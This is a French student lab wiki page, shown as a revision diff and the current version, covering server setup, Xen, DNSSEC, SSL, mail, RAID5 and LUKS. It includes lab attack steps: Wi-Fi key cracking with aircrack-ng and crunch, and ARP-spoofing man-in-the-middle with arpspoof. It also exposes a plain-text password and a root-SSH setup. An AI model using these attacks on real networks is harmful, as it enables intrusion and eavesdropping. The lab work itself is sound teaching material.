TP sysres IMA2a5 2020/2021 G2 : Différence entre versions

De Wiki d'activités IMA
(Sécurisation du serveur DNS)
 
(135 révisions intermédiaires par le même utilisateur non affichées)
Ligne 1 : Ligne 1 :
 +
== '''Introduction''' ==
 +
 
== Présentation du projet ==
 
== Présentation du projet ==
  
 
== Partie Hardware: ==
 
== Partie Hardware: ==
 +
 +
Cette partie est en lien avec le travail commun :
  
 
=== <u>Serveur capbreton</u> ===
 
=== <u>Serveur capbreton</u> ===
Remplacement du rack dans la baie
+
Nous devions insérer des nouveaux disque dur dans le serveur Capbreton, cependant nous avons eu un problème car nous n'avions pas les berceaux correspondant permettant de mettre les nouveaux disques dans le server.
 +
 
 +
[[Fichier:rack_disque_dur.jpg|300px]]
  
 
Réception des nouveaux berceaux. Nous avons mis les disques durs de 3 To dans les nouveaux berceaux puis nous les avons insérés dans le serveur. Grâce aux voyant lumineux
 
Réception des nouveaux berceaux. Nous avons mis les disques durs de 3 To dans les nouveaux berceaux puis nous les avons insérés dans le serveur. Grâce aux voyant lumineux
  
 
Prochaine étape: Reboot le serveur pour que les disques soient reconnu par le serveur, peut être aller dans le boot.
 
Prochaine étape: Reboot le serveur pour que les disques soient reconnu par le serveur, peut être aller dans le boot.
 +
 +
Nous devions aussi relier les connexions fibre et cuivre. Mais pour cela, nous devions déterminer quel port correspond avec quelle interface. Pour cela nous avons utilisé la commande ethtool pour faire clignoter le port correspondant à l'interface choisie.
 +
 +
<code> ethtool -p eth7</code>
 +
 +
<code> ethtool -p eth1</code>
 +
 +
{|class="wikitable alternance center"
 +
|-
 +
|
 +
! scope="col" | Fibre
 +
! scope="col" | Cuivre
 +
|-
 +
! scope="row" | Eth1
 +
|
 +
| X
 +
|-
 +
! scope="row" | Eth7
 +
| X
 +
|
 +
|}
 +
 +
[[Fichier:config_network.jpg | 300px]]
  
 
=== <u>Borne Wifi</u> ===
 
=== <u>Borne Wifi</u> ===
 +
 +
Nous devions configuré les bornes WIFI. Au départ nous avons eu une borne CISCO de nouvelle génération avec un nouveau système d'exploitation. Nous avons donc fait des recherches mais la majorité des ressources que nous avons trouvées, passé par une interface homme machine directement sur le navigateur pour configurer. Or il fallait la configurer en ligne de commande, chose plus facile lorsqu'il faut le faire sur un nombre important de borne.
 +
 +
Nous avons eu une borne WIFI Cisco "d'ancienne génération", nous avons donc repris les commandes utilisés l'année dernière pour configurer les bornes WIFI
 +
 +
La configuration de la borne va s'effectuer par l'intermédiaire d'une borne WIFI, nous allons utiliser le programme minicom pour cela.
 +
 +
Dans un premier temps il faut configurer le minicom pour qu'il communique à la même vitesse, indiquer s'il y a un flux matériel et aussi indiquer le nom du périphérique (que l'on peut trouver avec la commande <code>dmesg | grep tty</code>
 +
 +
Activer l'interface puis entrer le mot de passe de la borne :
 +
 +
  enable
 +
 +
On rentre dans le mode terminal :
 +
  conf t
 +
 +
On défini le SSID pour qu'il se nomme IMA2A5-WIFI1 sur le VLAN
 +
 +
  interface Dot11Radio1
 +
 +
Les interfaces sont désactivés par défaut. Pour les activer, on utilise : 
 +
  no shut
 +
 +
Si l'on souhaite plusieurs SSID alors on rentre la commande suivante :
 +
  mbssid
 +
 +
On défini une méthode de cryptage TKIP et AES-CCMP:
 +
  encryption vlan.. mode ciphers aes -cem tkip
 +
 +
On défini le nom du SSID :
 +
  ssid IMA2A5-WIFI1
 +
 +
[[Fichier:visualisationWifiTelephone.png | 300px]]
  
 
== Machine Virtuelle ==
 
== Machine Virtuelle ==
  
'''Activation du SSH'''
+
===Creation machine virtuelle===
 +
 
 +
====Connexion au serveur de virtualisation ====
 +
 
 +
Dans le cadre de ce TP notre machine virtuelle va être installé sur le serveur nommé Capbreton. Pour procéder à la création de la machine virtuelle nous allons donc nous connecter sur Capbreton par l'intermédiaire de SSH avec la commande suivante :
 +
 
 +
<code> ssh capbreton.plil.info</code>
 +
 
 +
====Installation de la machine virtuelle ====
 +
 
 +
Nous allons utiliser Xen un logiciel de virtualisation qui permet de faire tourner plusieurs machines virtuelle sur une machine. Notre machine possédera les caractéristiques suivantes :
 +
 
 +
* Nom : concorde
 +
* Adresse IP : 193.48.57.165
 +
* Masque Réseau : 255.255.255.248
 +
* Routeur : 193.48.57.163
 +
 
 +
La ligne de commande suivante permet la création de la machine avec les caractéristiques défini ci-dessus :
 +
 
 +
<code>xen-create-image --hostname concorde --ip 193.48.57.165 --netmask 255.255.255.248 --gateway 193.48.57.163 --dir /usr/local/xen --dist beowulf</code>
 +
 
 +
Pour voir l'avancement de l'installation il suffit de faire la commande:
 +
<code> tail -f /var/log/xen-tools/concorde.cfg</code>
 +
 
 +
====Configuration de la machine virtuelle ====
 +
 
 +
Dans cette partie, nous allons procéder à la configuration de la machine virtuelle. Pour cela nous allons devoir modifier le fichier de configuration situé au chemin suivant : <code>/etc/xen/concorde.cfg</code>
 +
 
 +
Une fois dans le fichier de configuration, il faudra modifier la ligne commençant par vif situé dans la partie "Networking", la ligne doit devenir :
 +
 
 +
<code>vif    = ['mac=16:3E:85:9F:6E, bridge=IMA2a5']</code>
 +
 
 +
Ensuite, nous avons défini un mot de passe plus simple grâce à la commande : <code>passwd</code>
 +
Pour la suite du TP le mot de passe sera : '''glopglopglop'''
 +
 
 +
Enfin voici quelques commande de base pour utiliser Xen :
 +
 +
* Voir les machine virtuelle démarrées : <code>xen list</code>
 +
* Démarrer sa machine virtuelle : <code>xen create /etc/xen/concorde.cfg</code>
 +
* Obtenir le terminal de la machine virtuelle : <code>xen  console concorde</code>
 +
 
 +
====Creation répertoire Home et Var====
 +
 
 +
Creation des volumes logiques
 +
 
 +
<code>lvcreate -L10G -n concorde-home virtual</code>
 +
 
 +
<code>lvcreate -L10G -n concorde-var virtual</code>
 +
 
 +
 
 +
Les commandes suivantes permettent de formater une partition
 +
<code>mke2fs /dev/virtual/concorde-home</code>
 +
 
 +
<code>mke2fs /dev/virtual/concorde-var</code>
 +
 
 +
Dans /etc/xen/concorde.cfg
 +
disk    = [
 +
                'file:/usr/local/xen/domains/concorde/disk.img,xvda2,w',
 +
                'file:/usr/local/xen/domains/concorde/swap.img,xvda1,w',             
 +
                        'phy:/dev/virtual/concorde-home,xvdb1,w',
 +
                        'phy:/dev/virtual/concorde-var,xvdb2,w',
 +
                  ]
 +
 
 +
Le fichier /etc/fstab permet à la machine virtuelle de connaitre l'existence de ses nouveaux espace mémoire, nous devons donc le modifier :
 +
 
 +
# /etc/fstab: static file system information.
 +
#
 +
# <file system> <mount point>  <type>  <options>      <dump>  <pass>
 +
proc            /proc          proc    defaults        0      0
 +
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
 +
/dev/xvda1 none swap sw 0 0
 +
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
 +
/dev/xvdb1 /home ext4 defaults 0 2
 +
/dev/xvdb2 /var ext4 defaults 0 2
 +
 
 +
 
 +
Enfin pour finaliser l'opération il faut monté le dossier /var. Cependant cela ne peut être fait directement, il faut donc passé par un dossier tampon (ici /mnt)
 +
 
 +
mount /dev/xvdb2 /mnt
 +
mv /var/* /mnt
 +
umount /mnt
 +
mount -a
 +
 
 +
Pour être sur que l'opération à correctement été réalisée taper <code>lsblk</code> qui permet de voir le système de fichier
 +
 
 +
==== Activation du SSH ====
 +
Cela peut être intéressant de pouvoir se connecter directement sur notre machine virtuelle via sont adresse ip pour cela nous devons installer ssh
 +
<code>apt install openssh-server</code>
 +
 
 +
ensuite il faut modifier un fichier de connexion pour permet l'accès grâce à SSH. Dans le fichier /etc/ssh/sshd_config nous allons décommenter la ligne suivante : <code> permitRootLogin</code>
 +
 
 +
Ensuite un redémarrage de ssh permettra de prendre en code les nouvelles modification
 +
<code>service ssh restart</code>
 +
 
 +
===Apache===
 +
 
 +
<code>apt install apache2</code>
 +
 
 +
Nous allons vérifier que le port d'écoute est le 443. Il faut donc aller dans /etc/apache2/ports.conf
 +
 
 +
On installe openSSL:
 +
<code>apt-get install openssl</code>
 +
 
 +
===Configuration SSH===
 
<code>vi /etc/ssh/ssh_config</code>
 
<code>vi /etc/ssh/ssh_config</code>
 
* Il faut ensuite dé-commenter la ligne "permitRootLogin" et remplacer par "yes".
 
* Il faut ensuite dé-commenter la ligne "permitRootLogin" et remplacer par "yes".
 
* On redémarre le ssh avec la commande <code>service ssh restart</code>  
 
* On redémarre le ssh avec la commande <code>service ssh restart</code>  
  
 +
===Configuration DNS===
 +
Par l'intermédiaire du site gandi.net, j'ai acheté le nom de domaine "gherbomel.site"
 +
 +
Un serveur DNS permet de faire le lien entre une adresse IP, un nom de domaine pour le mettre en place j'ai modifié le fichier etc/bind/named.conf.options pour qu'il ressemble à cela :
 +
 +
  options {
 +
        directory "/var/cache/bind";
 +
        dnssec-validation auto;
 +
        listen-on-v6 { any; };
 +
        allow-transfer { "allowed_to_transfer"; };
 +
  };
 +
  acl "allowed_to_transfer" {
 +
    193.48.57.0/32;
 +
  };
 +
 
 +
Nous allons ajouter une zone DNS mais il faut modifier le fichier /etc/bind/named.conf.local :
 +
 +
  zone "gherbomel.site"{
 +
      type master;
 +
      file "/etc/bind/db.gherbomel.site";
 +
  };
 +
 +
Puis nous allons éditer le fichier /etc/bind/db.gherbomel.site
  
Par l'intermédiaire du site gandi.net, j'ai acheté le nom de domaine "gherbomel.site"
 
 
<code> sudo apt install bind9</code>
 
<code> sudo apt install bind9</code>
  
== Crack==
+
  $TTL    3600
 +
  @  IN      SOA    ns.gherbomel.site. postmaster.gherbomel.site. (
 +
                      1        ; Version
 +
                      1800    ; Refresh (30m)
 +
                      600      ; Retry (10m)
 +
                      3600    ; Expire (1h)
 +
                      3600 )  ; Minimum TTL (1h)
 +
    IN NS ns.gherbomel.site.
 +
    IN NS ns6.gandi.net.
 +
ns  IN A  193.48.57.165
 +
 
 +
A chaque modification il faut changer le numéro de version
 +
 
 +
La configuration du DNS ayant été modifier on relance bind9 : <code>service bind9 restart</code>
 +
 
 +
Zone inverse permet à partir d'une adresse IP trouvé le nom de domaine.
 +
 
 +
Sur Gandi.net nous allons renseigné le glue record qui fournit l’adresse IP d’un serveur de noms de façon à ce que le nom de domaine puisse être résolu dans le cas ou ce dernier utilise des serveurs de noms hébergés sous ce même nom de domaine. Donc le GlueRecord va être : "ns.gherbomel.site"
 +
Et dans le menu "Serveur de nom" nous allons mettre en premier : "ns.gherbomel.site" et en deuxième : "ns6.gandi.net" comme cela si un serveur de nom de fonctionne pas l'autre peut prendre le relais.
 +
 
 +
====Sécurisation du serveur DNS====
 +
 
 +
Dans le fichier /etc/bind/named.conf.options ajouter <code> dnssec-enable yes; </code>
 +
Nous allons créer un dossier dans lequel nous allons générer les clés
 +
 
 +
cd /etc/bind
 +
mkdir gherbomel.site.dnssec
 +
 
 +
Génération des clés:
 +
 
 +
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE gherbomel.site
 +
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE gherbomel.site
 +
 
 +
Avec la commande ''mv'' on renomme les fichiers qui seront :
 +
 
 +
gherbomel.site-ksk.key
 +
gherbomel.site-ksk.private
 +
gherbomel.site-zsk.key
 +
gherbomel.site-zsk.private
 +
 
 +
On apporte quelques modifications à ''/etc/bind/db.gherbomel.site'':
 +
 
 +
$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-ksk.key
 +
$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-zsk.key
 +
 
 +
dnssec-signzone -o gherbomel.site -k gherbomel.site-ksk ../db.gherbomel.site gherbomel.site-zsk
 +
 
 +
Cependant la fonction ne fonctionne pas avec le message d'erreur suivant : No non-KSK DNSKEY found; supply a ZSK or use '-z'.
 +
 
 +
Par la suite en régénérant les clés cela à fonctionner.
 +
 
 +
Dans le fichier named.conf.local on modifie la ligne suivante : file "/etc/bind/db.gherbomel.site.signed"
 +
Puis faire un service bind restart
 +
 
 +
Ensuite il faut ajouter les clés ksk dans gandi.net dans l'onglet DNSSEC. Il faut porter une attention à choisir le bon chiffrement (RSA/SHA1)
 +
Il faut donc copier le contenu de la commande suivante : cat gherbomel.site-ksk.key
 +
 
 +
[[Fichier:DNS1_G22020.jpg| 450px ]]
 +
 
 +
====Génération certificat====
 +
boite mail : apt install postfix
 +
 
 +
*choisir site internet
 +
[[Fichier:choixInstallation_G22020.jpg | 500px]]
 +
*mettre gherbomel.site
 +
*dans /etc/alliases rajouter la ligne admin: root
 +
* commande : "newaliases"
 +
*on installe mailx avec la commande apt install bsd-mailx
 +
 
 +
il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site
 +
*passer le parametre version a 2
 +
*ajouter la ligne IN MX 100 ns
 +
*ajouter www    IN A 193.48.57.165
 +
 
 +
ensuite il faut restart le service bind avec <code>service restart bind</code>
 +
 
 +
je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail
 +
 
 +
[[Fichier:receptionMail_G22020.jpg | 450px ]]
 +
 
 +
Grâce à OpenSSL nous allons générer une clé :
 +
 
 +
* Création d'un dossier qui contiendra le certificat le chemin de ce dossier est /etc/apache2/certificat
 +
* Génération de la clé avec la commande : <code>openssl req -nodes -newkey rsa:2048 -sha256 -keyout gherbomel.key -out gherbomel.csr</code>
 +
  Generating a RSA private key
 +
  .+++++
 +
  ..............+++++
 +
  writing new private key to 'gherbomel.key'
 +
  -----
 +
  You are about to be asked to enter information that will be incorporated
 +
  into your certificate request.
 +
  What you are about to enter is what is called a Distinguished Name or a DN.
 +
  There are quite a few fields but you can leave some blank
 +
  For some fields there will be a default value,
 +
  If you enter '.', the field will be left blank.
 +
  -----
 +
  Country Name (2 letter code) [AU]:FR
 +
  State or Province Name (full name) [Some-State]:Nord
 +
  Locality Name (eg, city) []:Lille
 +
  Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille
 +
  Organizational Unit Name (eg, section) []:IMA2A5     
 +
  Common Name (e.g. server FQDN or YOUR name) []:gherbomel.site
 +
  Email Address []:herbomelguillaume@gmail.com
 +
  Please enter the following 'extra' attributes
 +
  to be sent with your certificate request
 +
  A challenge password []:glopglopglop
 +
  An optional company name []:
 +
 
 +
* Acheter un certificat:
 +
**Aller sur le site [Gandi.net[https://www.gandi.net/fr]]
 +
** Aller dans la rubrique Certificat SSL
 +
** Cliquer sur "Acheter"
 +
[[Fichier:AchatCertificat_G22020.jpg | 450px]]
 +
** Copier la clé générée sur le site web et demander une confirmation par mail qui sera envoyé dans mon cas sur admin@gherbomel.site
 +
  -----BEGIN CERTIFICATE REQUEST-----
 +
  MIIC/jCCAeYCAQAwgZsxCzAJBgNVBAYTAkZSMQ0wCwYDVQQIDAROb3JkMQ4wDAYD
 +
  VQQHDAVMaWxsZTEXMBUGA1UECgwOUG9seXRlY2ggTGlsbGUxDzANBgNVBAsMBklN
 +
  QTJBNTEXMBUGA1UEAwwOZ2hlcmJvbWVsLnNpdGUxKjAoBgkqhkiG9w0BCQEWG2hl
 +
  cmJvbWVsZ3VpbGxhdW1lQGdtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEP
 +
  ADCCAQoCggEBALyUY5/y1jqSKb9ui+5UGO/+C2Ge9Aipcp38YCB9sgb7St7y0DJU
 +
  EeOTZf2emczzEWmCpIJUVGy0F5xCpC6i1aqUEC6+EsjilsWqFomNVDJUiQwVu+IO
 +
  PQ/ILaZv/m8+XG0m9NcgkguzIR5Gj1kQYtQYHe7JWgddRzTAE/9+/YtfRW6q0qTF
 +
  xy94SEpASRhwnEkkCWzS9zZjUnLzlIPFGQXnuEDC2ALOfjURinLaqKCUjrBKkq61
 +
  +R8PfUDg+uKuRoz44WXH3xJZmVHSDvjYS8ayuovy/kO8KfI4qFGM8/NBY4CslGWN
 +
  OzuLCvqWdrJS/18MTtyzD1N0Yl+75PUnro8CAwEAAaAdMBsGCSqGSIb3DQEJBzEO
 +
  DAxnbG9wZ2xvcGdsb3AwDQYJKoZIhvcNAQELBQADggEBAB9x03pLZaHY2U/pDyjf
 +
  wnnpoIuuObr+8jZXXhfd0doNdpCLGP7PPw728KpMTy+rfuO6e1OfJqxCuMOwTJj+
 +
  KNnWsNKdwub+Hi90sxPF+ZKPAt6VmjSSNHckaO9ujp1Ynag2wn1HNA7bMICd4zfo
 +
  A5mt/CRgddKmNnuijckkwzzvXEe+Eia66qAjDyC2ThZQQ2xZcFa/Zu7u4kH99WrK
 +
  f1TN9vxSrZ1uuu3/PwXMmfzhMMolhJuSQcHLglAzKfXJ8uzQS6fuNeH1TB3YcV8S
 +
  Z3Yb583DmqK0RDx9cqFizl2ThXxo3D5bwCv96wmy0grhVRKOridbZVI3XjVDi4ci
 +
  vRc=
 +
  -----END CERTIFICATE REQUEST-----
 +
 
 +
[[Fichier:mailConfirmation_G22020.jpg | 450px ]]
 +
 
 +
 
 +
Il faudra download deux fichiers et les mettre dans /etc/apache2/certificat
 +
 
 +
Le fichier /etc/apache2/sites-available/default-ssl doit être modifié pour indiquer le chemin vers les certificats
 +
 
 +
  SSLCertificateChainFile /etc/apache2/certificat/GandiStandardSSLCA2.pem
 +
  SSLCertificateKeyFile /etc/apache2/certificat/gherbomel.key
 +
  SSLCertificateFile /etc/apache2/certificat/gherbomel.crt
 +
 
 +
Puis il faudra rentrer les commandes suivantes :
 +
* <code> a2enmod ssl</code>
 +
* <code> a2ensite default-ssl </code>
 +
* <code> service apache2 reload </code>
 +
 
 +
====Boite Mail ====
 +
* Créer une boite mail pour l'adresse admin@gherbomel.site '''Etape devant fonctionner avant achat du certificat'''
 +
** Installation de postfix <code>apt install postfix</code>
 +
**choisir site internet
 +
**mettre gherbomel.site
 +
** Dans <code>/etc/alliases</code> rajouter la ligne <code>admin: root</code>
 +
** Puis entrer la commande : <code>new aliases</code>
 +
on installe mailx avec la commande apt install bsd-mailx
 +
 
 +
il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site
 +
*passer le parametre version a 2
 +
*ajouter la ligne IN MX 100 ns
 +
*ajouter www    IN A 193.48.57.165
 +
 
 +
ensuite il faut restart le service bind avec <code>service restart bind</code>
 +
 
 +
je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail
 +
 
 +
ensuite on reçoit un mail de confirmation avec un lien et un mot de passe.
 +
[[Fichier:mailConfirmation2_G22020.jpg | 450px ]]
 +
 
 +
Pour afficher les mails on fera <code>mailx -p</code>
 +
 
 +
== Tests d'intrusion ==
 
Pour cracker le wifi nous allons installer aircrack-ng
 
Pour cracker le wifi nous allons installer aircrack-ng
  
Ligne 32 : Ligne 392 :
 
<code>apt-get install firmware-linux-nonfree</code>
 
<code>apt-get install firmware-linux-nonfree</code>
  
===WEP:===
+
===WEP===
 
Dans cette partie, nous allons cracker le mot de passe du wifi. Pour faire cela aircrack va collecter un nombre suffisant de paquet pour retrouver le mot de passe.
 
Dans cette partie, nous allons cracker le mot de passe du wifi. Pour faire cela aircrack va collecter un nombre suffisant de paquet pour retrouver le mot de passe.
  
Ligne 54 : Ligne 414 :
 
le programme va chercher la clé WEP. Il est possible qu'il n'y est pas assez de paquet, il faudra donc attendre le temps qu'il y est le nombre suffisant de paquets.
 
le programme va chercher la clé WEP. Il est possible qu'il n'y est pas assez de paquet, il faudra donc attendre le temps qu'il y est le nombre suffisant de paquets.
  
WPA:
+
===WPA===
  
 
Grâce à cette commande nous allons rechercher le paquet avec le handshake :
 
Grâce à cette commande nous allons rechercher le paquet avec le handshake :
Ligne 62 : Ligne 422 :
 
<code>crunch 8 8 0123456789 >> Dictionnaire.txt</code>
 
<code>crunch 8 8 0123456789 >> Dictionnaire.txt</code>
  
Pour faire l'attaque il suffit de taper la commande :  
+
La commande suivante permettra de faire une attaque par force brute :
 
<code>aircrack -ng -b 00:14:1B:60:8C:21 -w Dictionnaire.txt dataCrackWPA-01.cap</code>
 
<code>aircrack -ng -b 00:14:1B:60:8C:21 -w Dictionnaire.txt dataCrackWPA-01.cap</code>
La commande suivante permettra de faire une attaque par force brute :
+
 
<code>aircrac</code>
+
Pour améliorer le temps de résolution qui est de l'ordre de 5 heures, nous pouvons subdiviser le dictionnaire et tester à partir d'autres machines
 +
 
 +
Aircrack-ng 1.5.2
 +
 
 +
      [01:02:31] 20127478/102795810 keys tested (2803.06 k/s)
 +
 
 +
      Time left: 8 hours, 11 minutes, 32 seconds                19.58%
 +
 
 +
                          KEY FOUND! [ 20111111 ]
 +
 
 +
 
 +
      Master Key    : B2 87 CD DD 51 07 AE 60 27 DF EC 8F 90 28 7D 85
 +
                      DE DC 38 A4 66 39 28 A5 27 75 73 78 F1 71 FA F5
 +
 
 +
      Transient Key  : 0D AE D1 8A 3C 3C 2C 20 5B 4A 88 05 B6 FA CD C2
 +
                      91 2F 6B 4A FE B5 68 05 C3 86 92 C3 EC 11 A3 E3
 +
                      F0 1B BD 8C 18 87 F4 5E 60 59 D8 7A E9 2B D2 FB
 +
                      00 27 28 84 9E 12 4A EA 5E BC 2F 29 36 0F 0F 0E
 +
 
 +
      EAPOL HMAC    : 83 15 59 EA 43 52 95 38 E2 C6 AD 8F 2F 37 90 29
 +
 
 +
[[Fichier:Crack_wpa_G2_2020.jpg | 500px]]
 +
 
 +
=== L'homme du milieu ===
 +
Pour modifier la variable /proc/sys/net/ipv4/ip_forward il faut faire la commande :
 +
<code>echo 1 > /proc/sys/net/ipv4/ip_forward</code>
 +
 
 +
On se fait passer pour le routeur au près de zabeth03 :
 +
<code> arpspoof -t zabeth03 -i bridge 172.26.145.254</code>
 +
 
 +
A partir de ce moment l'ordinateur se fait passer pour le routeur, nous pouvons donc voir le contenu des messages envoyé depuis une page en html
 +
 
 +
Si on écoute et filtre les requêtes, on peut voir passé des messages en clair.
 +
 
 +
[[Fichier:hdm_G22020.jpg | 400px]]
 +
 
 +
==Sécurisation de données==
 +
 
 +
===RAID5 : ===
 +
Explication RAID5:
 +
 
 +
En Raid 5, les données sont écrites à la suite sur vos disques durs. Les données sont stocker et aussi la parité est écrite (la différence entre les données écrites).
 +
 
 +
Ce qui implique que si l'un des disques dur tombe en panne les données pourront être reconstituer avec les autres disques durs.
 +
Ainsi si l’un des disques durs tombe en panne, les données perdues pourront être reconstituées avec les disques restants.
 +
 
 +
Cependant pour créer le RAID 5 il faut au minimum trois disques durs
 +
 
 +
On installe mdadm qui est un utilitaire pour gérer les périphériques RAID5  : <code>apt-get install mdadm</code>
 +
 
 +
On créer 3 volumes logiques de 1 Go chacun :
 +
  lvcreate -L1G -n ima2a5-concorde-d1 virtual
 +
  lvcreate -L1G -n ima2a5-concorde-d2 virtual
 +
  lvcreate -L1G -n ima2a5-concorde-d3 virtual
 +
 
 +
On éteint la machine virtuelle puis à partir de capbreton nous allons modifier le fichier de configuration pour ajouter les nouveaux volumes logiques créé.
 +
 
 +
Dans /etc/xen/concorde.cfg
 +
 
 +
  disk    = [
 +
                  'file:/usr/local/xen/domains/concorde/disk.img,xvda2,w',
 +
                  'file:/usr/local/xen/domains/concorde/swap.img,xvda1,w',             
 +
                        'phy:/dev/virtual/concorde-home,xvdb1,w',
 +
                        'phy:/dev/virtual/concorde-var,xvdb2,w',
 +
                        'phy:/dev/virtual/ima2a5-concorde-d1,xvdb3,w',
 +
                        'phy:/dev/virtual/ima2a5-concorde-d1,xvdb4,w',
 +
                        'phy:/dev/virtual/ima2a5-concorde-d1,xvdb5,w',
 +
                  ]
 +
 
 +
Une fois la configuration modifié, on redémarre la machine virtuelle et on exécute la commande suivante permettant de créer le RAID5
 +
 
 +
  mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5
 +
 
 +
Le volume du RAID doit faire 2/3 du total des partitions donc 2 Go et on retrouve bien cela en faisait lsblk.
 +
 
 +
mdadm: /dev/xvdb3 appears to contain an ext2fs file system
 +
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970
 +
mdadm: /dev/xvdb4 appears to contain an ext2fs file system
 +
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970
 +
mdadm: /dev/xvdb5 appears to contain an ext2fs file system
 +
      size=1048576K  mtime=Thu Jan  1 00:00:00 1970
 +
 
 +
 
 +
https://doc.ubuntu-fr.org/raid_logiciel
 +
 
 +
Ensuite on fait la deamonisation pour qu'il soit lancé à chaque démarrage
 +
 
 +
<code>sudo mdadm --daemonise /dev/md0</code>
 +
 
 +
Mise en place d'un système de fichier EXT4 sur le volume md0 avec la commande suivante : <code> mkfs.ext4 /dev/md0 </code>
 +
 
 +
Le volume du RAID doit faire 2/3 du total des partitions donc 2 Go et on retrouve bien cela en faisait <code>fdisk -l</code>
 +
 
 +
[[Fichier:RAID5_G222020.jpg]]
 +
 
 +
Ensuite il faut ajouter dans le fichier /etc/fstab la ligne
 +
  /dev/md0 /media/raid ext4 defaults 0 1
 +
 
 +
On crée le dossier /media/raid : <code>mkdir /media/raid </code> ensuite on s'occupe de monter le dossier dans dossier temporaire
 +
  mount /dev/md0 /mnt
 +
  mount -a
 +
 
 +
Ensuite on peut essayer de redémarrer la machine virtuelle pour voir si tout fonctionne encore et si cela est le cas on peut tester de casser le RAID5 en modifiant sur capbreton le fichier de configuration et en mettant en commentaire la ligne ou l'on déclare l'espace mémoire de xvdb5.
 +
 
 +
En redémarrant on regarde que md0 est devenu md127
 +
 
 +
On regarde s'il manque un disque avec <code>cat /proc/mdstat</code>
 +
 
 +
Enfin pour remettre en place le système RAID 5 il faut utiliser la fonction :
 +
  mdadm --manage /dev/md0 -a /dev/nom_du_disque_a_remettre
 +
 
 +
==Chiffrement de données==
 +
 
 +
===Chiffrement clé usb:===
 +
 
 +
Pour faire l'étape du chiffrement de la clé nous avons besoin d'installer "lvm2" et "crypsetup"
 +
 
 +
  apt install lvm2
 +
  apt install cryptsetup
 +
 
 +
On affiche les périphériques blocs et les renseignements sur le système de fichier avec lsblk : <code>lsblk -fs</code>
 +
 
 +
On fait <code>fdisk /dev/sdb1</code>  
 +
 
 +
Avec :
 +
      * d -> on supprime la partition
 +
      * w -> on sauvegarde les modifications
 +
      * n -> pour ajouter une nouvelle partition
 +
 
 +
Formatage de la partition au type LUKS
 +
 
 +
  crypsetup luksFormat -c aes -h sha256 /dev/sdb
 +
 
 +
Ensuite il faut rentrer une passphrase exemple : "cleprive"
 +
 
 +
Ouverture et formatage en EXT4 de la partie chiffré. Le volume s'appelle ici home
 +
  cryptsetup open --type luks /dev/sdb home
 +
  mkfs -ext4 /dev/mapper home
 +
 
 +
Montage puis démontage de la partie chiffré :
 +
 
 +
  mount -t ext4 /dev/mapper/home /mnt
 +
  umount /mnt
 +
 
 +
Fermeture de la partie chiffré:
 +
 
 +
  cryptsetup close --type luks home
 +
 
 +
 
 +
A partir de la, j'ai pu tester la clé sur un autre ordinateur. On constate qu'il faut un mot de passe pour accéder au contenu de la clé. Mission réussi c'est ce que l'on voulait.
 +
 
 +
[[Fichier:passphrase_G22020.jpg | 500px ]]

Version actuelle datée du 9 décembre 2020 à 10:32

Introduction

Présentation du projet

Partie Hardware:

Cette partie est en lien avec le travail commun :

Serveur capbreton

Nous devions insérer des nouveaux disque dur dans le serveur Capbreton, cependant nous avons eu un problème car nous n'avions pas les berceaux correspondant permettant de mettre les nouveaux disques dans le server.

Rack disque dur.jpg

Réception des nouveaux berceaux. Nous avons mis les disques durs de 3 To dans les nouveaux berceaux puis nous les avons insérés dans le serveur. Grâce aux voyant lumineux

Prochaine étape: Reboot le serveur pour que les disques soient reconnu par le serveur, peut être aller dans le boot.

Nous devions aussi relier les connexions fibre et cuivre. Mais pour cela, nous devions déterminer quel port correspond avec quelle interface. Pour cela nous avons utilisé la commande ethtool pour faire clignoter le port correspondant à l'interface choisie.

ethtool -p eth7

ethtool -p eth1

Fibre Cuivre
Eth1 X
Eth7 X

Config network.jpg

Borne Wifi

Nous devions configuré les bornes WIFI. Au départ nous avons eu une borne CISCO de nouvelle génération avec un nouveau système d'exploitation. Nous avons donc fait des recherches mais la majorité des ressources que nous avons trouvées, passé par une interface homme machine directement sur le navigateur pour configurer. Or il fallait la configurer en ligne de commande, chose plus facile lorsqu'il faut le faire sur un nombre important de borne.

Nous avons eu une borne WIFI Cisco "d'ancienne génération", nous avons donc repris les commandes utilisés l'année dernière pour configurer les bornes WIFI

La configuration de la borne va s'effectuer par l'intermédiaire d'une borne WIFI, nous allons utiliser le programme minicom pour cela.

Dans un premier temps il faut configurer le minicom pour qu'il communique à la même vitesse, indiquer s'il y a un flux matériel et aussi indiquer le nom du périphérique (que l'on peut trouver avec la commande dmesg | grep tty

Activer l'interface puis entrer le mot de passe de la borne :

 enable

On rentre dans le mode terminal :

 conf t

On défini le SSID pour qu'il se nomme IMA2A5-WIFI1 sur le VLAN

 interface Dot11Radio1

Les interfaces sont désactivés par défaut. Pour les activer, on utilise :

 no shut

Si l'on souhaite plusieurs SSID alors on rentre la commande suivante :

 mbssid

On défini une méthode de cryptage TKIP et AES-CCMP:

 encryption vlan.. mode ciphers aes -cem tkip

On défini le nom du SSID :

 ssid IMA2A5-WIFI1

VisualisationWifiTelephone.png

Machine Virtuelle

Creation machine virtuelle

Connexion au serveur de virtualisation

Dans le cadre de ce TP notre machine virtuelle va être installé sur le serveur nommé Capbreton. Pour procéder à la création de la machine virtuelle nous allons donc nous connecter sur Capbreton par l'intermédiaire de SSH avec la commande suivante :

ssh capbreton.plil.info

Installation de la machine virtuelle

Nous allons utiliser Xen un logiciel de virtualisation qui permet de faire tourner plusieurs machines virtuelle sur une machine. Notre machine possédera les caractéristiques suivantes :

  • Nom : concorde
  • Adresse IP : 193.48.57.165
  • Masque Réseau : 255.255.255.248
  • Routeur : 193.48.57.163

La ligne de commande suivante permet la création de la machine avec les caractéristiques défini ci-dessus :

